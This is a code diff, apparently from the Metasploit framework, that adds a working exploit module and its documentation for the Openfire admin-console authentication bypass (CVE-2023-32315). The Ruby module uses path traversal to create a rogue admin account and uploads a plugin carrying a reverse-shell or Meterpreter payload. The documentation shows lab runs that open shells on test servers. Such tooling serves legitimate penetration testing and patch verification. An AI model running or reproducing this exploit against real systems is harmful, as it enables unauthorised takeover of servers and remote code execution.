diff --git a/data/exploits/openfire_plugin/changelog.html b/data/exploits/openfire_plugin/changelog.html new file mode 100755 index 0000000000..a7d5a78f98 --- /dev/null +++ b/data/exploits/openfire_plugin/changelog.html @@ -0,0 +1,69 @@ + + + + + Example plugin changelog + + + + +

+Example plugin +

+ +

Todo

+ +

+Add changelog content here +

+ + diff --git a/data/exploits/openfire_plugin/lib/plugin-metasploit.jar b/data/exploits/openfire_plugin/lib/plugin-metasploit.jar new file mode 100755 index 0000000000..5c3b0bec46 Binary files /dev/null and b/data/exploits/openfire_plugin/lib/plugin-metasploit.jar differ diff --git a/data/exploits/openfire_plugin/logo_large.gif b/data/exploits/openfire_plugin/logo_large.gif new file mode 100755 index 0000000000..d1474a1a34 Binary files /dev/null and b/data/exploits/openfire_plugin/logo_large.gif differ diff --git a/data/exploits/openfire_plugin/logo_small.gif b/data/exploits/openfire_plugin/logo_small.gif new file mode 100755 index 0000000000..e1816427d7 Binary files /dev/null and b/data/exploits/openfire_plugin/logo_small.gif differ diff --git a/data/exploits/openfire_plugin/plugin.xml b/data/exploits/openfire_plugin/plugin.xml new file mode 100755 index 0000000000..7769df7049 --- /dev/null +++ b/data/exploits/openfire_plugin/plugin.xml @@ -0,0 +1,10 @@ + + + com.example.openfire.plugin.Example + PLUGINNAME + PLUGINDESCRIPTION + PLUGINAUTHOR + 1.0.0 + 7/7/2008 + 3.5.0 + diff --git a/data/exploits/openfire_plugin/readme.html b/data/exploits/openfire_plugin/readme.html new file mode 100755 index 0000000000..8d1da45937 --- /dev/null +++ b/data/exploits/openfire_plugin/readme.html @@ -0,0 +1,69 @@ + + + + + Example plugin readme + + + + +

+Example plugin +

+ +

Todo

+ +

+Add readme content here +

+ + diff --git a/documentation/modules/exploit/multi/http/openfire_auth_bypass_rce_cve_2023_32315.md b/documentation/modules/exploit/multi/http/openfire_auth_bypass_rce_cve_2023_32315.md new file mode 100644 index 0000000000..943856b49c --- /dev/null +++ b/documentation/modules/exploit/multi/http/openfire_auth_bypass_rce_cve_2023_32315.md @@ -0,0 +1,190 @@ +## Vulnerable Application +`Openfire's` administrative console, a web-based application, was found to be vulnerable to a path traversal attack +via the setup environment using the path `http://localhost:9090/setup/setup-s/%u002e%u002e/%u002e%u002e/`. +Endpoints such as `log.jsp`, `user-groups.jsp` and `user-create.jsp` can be used to gain unauthorized admin access. +It allows an unauthenticated user to use the unauthenticated `Openfire` Setup Environment in an already configured +`Openfire` environment to access restricted pages in the `Openfire Admin Console` reserved for administrative users. + +This module will use the vulnerability to create a new admin user that will be used to upload a `Openfire` management plugin +weaponized with a `Java` native payload that triggers an RCE. +The vulnerability affects all versions of `Openfire` that have been released since April 2015, starting with version `3.10.0`. +The problem has been patched in `Openfire` release `4.7.5` and `4.6.8`, and further improvements will be included +in the first version on the `4.8` branch, which is version `4.8.0`. + +This module has been tested on: +- [ ] Ubuntu Linux 22.04. +* Openfire 3.10.1, 4.0.4, 4.1.0, 4.2.0, 4.3.0, 4.4.0, 4.5.0, 4.6.0. 4.7.0, 4.7.1, 4.7.3 +* Java 7, 8, 17 +- [ ] Windows Server 2019 Datacenter +* Openfire 4.7.3 +* Java 20 + +**Instructions for an Openfire installation:** +Download Openfire releases [here](https://github.com/igniterealtime/Openfire/releases?page=1) +Follow installation instructions [here](https://download.igniterealtime.org/openfire/docs/latest/documentation/install-guide.html) + +## Verification Steps + +- [ ] Start `msfconsole` +- [ ] `exploit/multi/http/openfire_auth_bypass_rce_cve_2023_32315` +- [ ] `set rhosts ` +- [ ] `set rport ` +- [ ] `set target <0=Java Universal>` +- [ ] `exploit` +- [ ] you should get a `reverse shell` or `Meterpreter` session depending on the `payload` and `target` settings + +``` +msf6 exploit(multi/http/openfire_auth_bypass_rce_cve_2023_32315) > options + +Module options (exploit/multi/http/openfire_auth_bypass_rce_cve_2023_32315): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + ADMINNAME no Openfire admin user name, (default: random) + PLUGINAUTHOR no Openfire plugin author, (default: random) + PLUGINDESC no Openfire plugin description, (default: random) + PLUGINNAME no Openfire plugin base name, (default: random) + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + RPORT 9090 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + TARGETURI / yes The base path to the web application + VHOST no HTTP server virtual host + + +Payload options (java/shell/reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LHOST yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Java Universal +``` + +## Options + +### TARGETURI +The uripath to the `Openfire Admin Console`. Default set to `/` which is the standard for `Openfire`. + +### ADMINNAME +`Openfire` admin user name option to create a new admin user. User name will be randomized if not set. + +### PLUGINAUTHOR +`Openfire` plugin author to set the name of the plugin author. Author name will be randomized if not set. + +### PLUGINDESC +`Openfire` plugin description to update the description of the plugin. Description will be randomized if not set. + +### PLUGINNAME +`Openfire` plugin name to set the plugin name. Plugin name will be randomized if not set. + +## Scenarios +### Ubuntu 22.04 - Openfire 4.7.0 - java/meterpreter/reverse_tcp +``` +msf6 exploit(multi/http/openfire_auth_bypass_rce_cve_2023_32315) > exploit + +[*] Started reverse TCP handler on 192.168.201.10:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target is vulnerable. Openfire version is 4.7.0 +[*] Grabbing the cookies. +[*] JSESSIONID=node010hllcuuhb19x13etracg8jjxk24.node0 +[*] csrf=Lc9ZXFTo6H3bnC1 +[*] Adding a new admin user. +[*] Logging in with admin user "jdajefap" and password "W3EozCK8Nx". +[*] Upload and execute plugin "U6zVD3dY" with payload "java/meterpreter/reverse_tcp". +[*] Sending stage (58851 bytes) to 192.168.201.59 +[*] Meterpreter session 33 opened (192.168.201.10:4444 -> 192.168.201.59:60420) at 2023-07-08 10:33:16 +0000 +[!] Plugin "U6zVD3dY" need manually clean-up via Openfire Admin console. +[!] Admin user "jdajefap" need manually clean-up via Openfire Admin console. + +meterpreter > getuid +Server username: openfire +meterpreter > sysinfo +Computer : cuckoo +OS : Linux 5.15.0-76-generic (amd64) +Architecture : x64 +System Language : en_US +Meterpreter : java/linux +meterpreter > +``` +### Windows Server 2019 Datacenter - Openfire 4.7.3 - java/shell/reverse_tcp +``` +msf6 exploit(multi/http/openfire_auth_bypass_rce_cve_2023_32315) > exploit + +[*] Started reverse TCP handler on 192.168.201.10:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target is vulnerable. Openfire version is 4.7.4 +[*] Grabbing the cookies. +[*] JSESSIONID=node01dr68xhv8giop14zogvh0ycnt13.node0 +[*] csrf=mRz62R9hab6YAgt +[*] Adding a new admin user. +[*] Logging in with admin user "qkcvdmmevuvw" and password "tO0gWgDrM4". +[*] Upload and execute plugin "XZl3TKb1ayogynR" with payload "java/shell/reverse_tcp". +[*] Sending stage (2952 bytes) to 192.168.201.57 +[!] Plugin "XZl3TKb1ayogynR" need manually clean-up via Openfire Admin console. +[!] Admin user "qkcvdmmevuvw" need manually clean-up via Openfire Admin console. +[*] Command shell session 32 opened (192.168.201.10:4444 -> 192.168.201.57:50171) at 2023-07-08 10:31:01 +0000 + + +Shell Banner: +Microsoft Windows [Version 10.0.17763.107] +----- + + +C:\Program Files\Openfire\bin>systeminfo +systeminfo + +Host Name: WIN-HHRQENPDSRS +OS Name: Microsoft Windows Server 2019 Datacenter +OS Version: 10.0.17763 N/A Build 17763 +OS Manufacturer: Microsoft Corporation +OS Configuration: Standalone Server +OS Build Type: Multiprocessor Free +Registered Owner: Windows User +Registered Organization: +Product ID: 00430-00000-00000-AA500 +Original Install Date: 1/23/2023, 4:51:06 AM +System Boot Time: 7/8/2023, 2:16:23 AM +System Manufacturer: innotek GmbH +System Model: VirtualBox +System Type: x64-based PC +Processor(s): 1 Processor(s) Installed. + [01]: Intel64 Family 6 Model 158 Stepping 13 GenuineIntel ~2306 Mhz +BIOS Version: innotek GmbH VirtualBox, 12/1/2006 +Windows Directory: C:\Windows +System Directory: C:\Windows\system32 +Boot Device: \Device\HarddiskVolume1 +System Locale: en-us;English (United States) +Input Locale: en-us;English (United States) +Time Zone: (UTC-08:00) Pacific Time (US & Canada) +Total Physical Memory: 2,048 MB +Available Physical Memory: 728 MB +Virtual Memory: Max Size: 3,469 MB +Virtual Memory: Available: 1,523 MB +Virtual Memory: In Use: 1,946 MB +Page File Location(s): C:\pagefile.sys +Domain: WORKGROUP +Logon Server: N/A +Hotfix(s): 1 Hotfix(s) Installed. + [01]: KB4464455 +Network Card(s): 1 NIC(s) Installed. + [01]: Intel(R) PRO/1000 MT Desktop Adapter + Connection Name: Ethernet + DHCP Enabled: Yes + DHCP Server: 192.168.201.1 + IP address(es) + [01]: 192.168.201.57 + [02]: fe80::b089:6587:7273:231e +Hyper-V Requirements: A hypervisor has been detected. Features required for Hyper-V will not be displayed. + +C:\Program Files\Openfire\bin> +``` + +## Limitations +No limitations. diff --git a/external/source/exploits/CVE-2008-6508/Example.java b/external/source/exploits/openfire_plugin/Example.java similarity index 100% rename from external/source/exploits/CVE-2008-6508/Example.java rename to external/source/exploits/openfire_plugin/Example.java diff --git a/modules/exploits/multi/http/openfire_auth_bypass.rb b/modules/exploits/multi/http/openfire_auth_bypass.rb index 79e1bc0418..25bd69751a 100644 --- a/modules/exploits/multi/http/openfire_auth_bypass.rb +++ b/modules/exploits/multi/http/openfire_auth_bypass.rb @@ -141,12 +141,12 @@ class MetasploitModule < Msf::Exploit::Remote ] jar = Rex::Zip::Jar.new - jar.add_files(files, File.join(Msf::Config.data_directory, "exploits", "CVE-2008-6508")) + jar.add_files(files, File.join(Msf::Config.data_directory, "exploits", "openfire_plugin")) plugin_author = datastore['PLUGINAUTHOR'] || rand_text_alphanumeric(8+rand(8)) plugin_desc = datastore['PLUGINDESC'] || rand_text_alphanumeric(8+rand(8)) - plugin_xml = File.open(File.join(Msf::Config.data_directory, "exploits", "CVE-2008-6508", "plugin.xml"), "rb") {|fd| fd.read() } + plugin_xml = File.open(File.join(Msf::Config.data_directory, "exploits", "openfire_plugin", "plugin.xml"), "rb") {|fd| fd.read() } plugin_xml.gsub!(/PLUGINNAME/, plugin_name) plugin_xml.gsub!(/PLUGINDESCRIPTION/, plugin_desc) plugin_xml.gsub!(/PLUGINAUTHOR/, plugin_author) diff --git a/modules/exploits/multi/http/openfire_auth_bypass_rce_cve_2023_32315.rb b/modules/exploits/multi/http/openfire_auth_bypass_rce_cve_2023_32315.rb new file mode 100644 index 0000000000..131d479c84 --- /dev/null +++ b/modules/exploits/multi/http/openfire_auth_bypass_rce_cve_2023_32315.rb @@ -0,0 +1,277 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'rex/zip' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Openfire authentication bypass with RCE plugin', + 'Description' => %q{ + Openfire is an XMPP server licensed under the Open Source Apache License. + Openfire's administrative console, a web-based application, was found to be vulnerable to a path traversal attack + via the setup environment. This permitted an unauthenticated user to use the unauthenticated Openfire Setup Environment + in an already configured Openfire environment to access restricted pages in the Openfire Admin Console reserved for + administrative users. + This module will use the vulnerability to create a new admin user that will be used to upload a Openfire management plugin + weaponised with java native payload that triggers an RCE. + This vulnerability affects all versions of Openfire that have been released since April 2015, starting with version 3.10.0. + The problem has been patched in Openfire release 4.7.5 and 4.6.8, and further improvements will be included in the + first version on the 4.8 branch, which is version 4.8.0. + }, + 'Author' => [ + 'h00die-gr3y ' # Metasploit module + ], + 'References' => [ + ['CVE', '2023-32315'], + ['URL', 'https://attackerkb.com/topics/7Tf5YGY3oT/cve-2023-32315'], + ['URL', 'https://github.com/miko550/CVE-2023-32315'], + ['URL', 'https://github.com/igniterealtime/Openfire/security/advisories/GHSA-gw42-f939-fhvm'] + ], + 'License' => MSF_LICENSE, + 'Platform' => [ 'java' ], + 'Privileged' => false, + 'Arch' => [ ARCH_JAVA ], + 'Targets' => [ + [ + 'Java Universal', + { + 'Platform' => 'java', + 'Arch' => ARCH_JAVA, + 'DefaultOptions' => { + 'PAYLOAD' => 'java/shell/reverse_tcp' + } + } + ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => '2023-05-26', + 'DefaultOptions' => { + 'SSL' => false, + 'RPORT' => 9090 + }, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS], + 'Reliability' => [REPEATABLE_SESSION] + } + ) + ) + register_options( + [ + OptString.new('TARGETURI', [true, 'The base path to the web application', '/']), + OptString.new('PLUGINNAME', [ false, 'Openfire plugin base name, (default: random)' ]), + OptString.new('PLUGINAUTHOR', [ false, 'Openfire plugin author, (default: random)' ]), + OptString.new('PLUGINDESC', [ false, 'Openfire plugin description, (default: random)' ]), + OptString.new('ADMINNAME', [ false, 'Openfire admin user name, (default: random)' ]), + ] + ) + end + + def get_version + # get Openfire version number from the admin console login page + openfire_version = nil + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'login.jsp'), + 'ctype' => 'application/x-www-form-urlencoded' + }) + if res && res.code == 200 + version = res.body.match(/Openfire,\s*\D*:\s*\d\.\d{1,2}\.\d/) + openfire_version = Rex::Version.new(version[0].split(':')[1].strip) unless version.nil? + end + + openfire_version + end + + def auth_bypass + # bypass authentication using path traversal vulnerability and return true if cookie_jar is filled (JSESSION-ID and CSRF) else return false. + send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'setup', 'setup-s', '%u002e%u002e/%u002e%u002e/user-groups.jsp'), + 'ctype' => 'application/x-www-form-urlencoded', + 'keep_cookies' => true + }) + return false if cookie_jar.cookies.empty? + + cookie_jar.cookies.each do |cookie| + print_status(cookie.to_s) + end + return true + end + + def add_admin_user + # add an admin user using path traversal vulnerability using the cookies retrieved from authentication bypass. + # returns admin login hash with random generated username and password + @admin_login = {} + username = datastore['ADMINNAME'] || Rex::Text.rand_text_alpha_lower(8..15) + password = Rex::Text.rand_password(8..10) + cookie_jar.cookies.each do |cookie| + @csrf_token = cookie.to_s.split('=')[1].strip unless cookie.to_s.match(/csrf=/).nil? + end + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'setup', 'setup-s', '%u002e%u002e/%u002e%u002e/user-create.jsp'), + 'ctype' => 'application/x-www-form-urlencoded', + 'keep_cookies' => true, + 'vars_get' => { + 'csrf' => @csrf_token.to_s, + 'username' => username.to_s, + 'password' => password.to_s, + 'passwordConfirm' => password.to_s, + 'isadmin' => 'on', + 'create' => 'Create+User' + } + }) + # path traversal throws a java exception error 500 and/or returns a 200 OK code not matter if the user is added or not, + # so we have to check during the login of the new admin user if we have been successful here + if res && res.code == 200 || res.code == 500 + @admin_login['username'] = username + @admin_login['password'] = password + end + return @admin_login + end + + def login_admin_user + # login using admin hash with admin username and password + # returns true if login successful else returns false + cookie_jar.cookies.each do |cookie| + @csrf_token = cookie.to_s.split('=')[1].strip unless cookie.to_s.match(/csrf=/).nil? + end + + res = send_request_cgi!({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'login.jsp'), + 'ctype' => 'application/x-www-form-urlencoded', + 'keep_cookies' => true, + 'vars_post' => { + 'url' => '%2Findex.jsp', + 'login' => 'true', + 'csrf' => @csrf_token.to_s, + 'username' => @admin_login['username'].to_s, + 'password' => @admin_login['password'].to_s + } + }) + if res && res.code == 200 && res.body.match(/login box/).nil? + store_valid_credential(user: @admin_login['username'], private: @admin_login['password'], proof: cookie_jar.cookies) + return true + else + return false + end + end + + def prepare_plugin_jar + # prepares the plugin foundation that will host the payload + files = [ + [ 'logo_large.gif' ], + [ 'logo_small.gif' ], + [ 'readme.html' ], + [ 'changelog.html' ], + [ 'lib', 'plugin-metasploit.jar' ] + ] + + jar = Rex::Zip::Jar.new + jar.add_files(files, File.join(Msf::Config.data_directory, 'exploits', 'openfire_plugin')) + + @plugin_name = datastore['PLUGINNAME'] || Rex::Text.rand_text_alphanumeric(8..15) + plugin_author = datastore['PLUGINAUTHOR'] || Rex::Text.rand_text_alphanumeric(8..15) + plugin_desc = datastore['PLUGINDESC'] || Rex::Text.rand_text_alphanumeric(8..15) + + plugin_xml = File.binread(File.join(Msf::Config.data_directory, 'exploits', 'openfire_plugin', 'plugin.xml')) + plugin_xml.gsub!(/PLUGINNAME/, @plugin_name) + plugin_xml.gsub!(/PLUGINDESCRIPTION/, plugin_desc) + plugin_xml.gsub!(/PLUGINAUTHOR/, plugin_author) + + jar.add_file('plugin.xml', plugin_xml) + return jar + end + + def upload_and_execute_plugin(plugin_jar) + # upload and execute Openfire plugin with encoded payload + # returns true if upload is successful else returns false + + # construct multipart form data + form_data = Rex::MIME::Message.new + form_data.add_part(plugin_jar.to_s, 'application/x-java-archive', 'binary', "form-data; name=\"uploadfile\"; filename=\"#{@plugin_name}.jar\"") + + # extract the csrf token + cookie_jar.cookies.each do |cookie| + @csrf_token = cookie.to_s.split('=')[1].strip unless cookie.to_s.match(/csrf=/).nil? + end + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'plugin-admin.jsp'), + 'ctype' => "multipart/form-data; boundary=#{form_data.bound}", + 'keep_cookies' => true, + 'data' => form_data.to_s, + 'vars_get' => { + 'uploadplugin' => nil, + 'csrf' => @csrf_token.to_s + } + }) + # with a successfull upload and execution of the plugin, no response is returned. + return true unless res + # safety check if, for whatever reason, we get a 302 response back + if res.code == 302 && res.headers.to_s.match(/uploadsuccess=true/) + return true + else + return false + end + end + + def check + openfire_version = get_version + return CheckCode::Safe if openfire_version.nil? + # check first for patched versions + return CheckCode::Safe("Openfire version is #{openfire_version}") if openfire_version == Rex::Version.new('4.6.8') + return CheckCode::Safe("Openfire version is #{openfire_version}") if openfire_version == Rex::Version.new('4.7.5') + return CheckCode::Safe("Openfire version is #{openfire_version}") if openfire_version == Rex::Version.new('4.8.0') + + if openfire_version < Rex::Version.new('4.8.0') && openfire_version >= Rex::Version.new('3.10.0') + CheckCode::Appears("Openfire version is #{openfire_version}") + else + CheckCode::Safe("Openfire version is #{openfire_version}") + end + end + + def exploit + # gain access exploiting path traversal vulnerability + print_status('Grabbing the cookies.') + fail_with(Failure::NoAccess, 'Authentication bypass is not successful.') unless auth_bypass + + # add a new admin user + print_status('Adding a new admin user.') + fail_with(Failure::NoAccess, 'Adding a new admin user is not successful.') if add_admin_user.empty? + + # login with new admin account + print_status("Logging in with admin user \"#{@admin_login['username']}\" and password \"#{@admin_login['password']}\".") + fail_with(Failure::NoAccess, 'Login is not successful.') unless login_admin_user + + # prepare Openfire plugin with payload + plugin = prepare_plugin_jar + plugin.add_file("lib/#{rand_text_alphanumeric(8)}.jar", payload.encoded_jar.pack) + plugin.build_manifest + + # upload and execute Openfire plugin with payload + print_status("Upload and execute plugin \"#{@plugin_name}\" with payload \"#{datastore['PAYLOAD']}\".") + fail_with(Failure::PayloadFailed, 'Upload and/or execution of the plugin is not successful.') unless upload_and_execute_plugin(plugin.pack) + + # cover our tracks!!! + # remove plugin and newly added admin user + # Automatic removal of plugin and admin user might cause instability in the application, + # so remove it manually in Openfire Management console after the exploit is completed. + print_warning("Plugin \"#{@plugin_name}\" need manually clean-up via Openfire Admin console.") + print_warning("Admin user \"#{@admin_login['username']}\" need manually clean-up via Openfire Admin console.") + end +end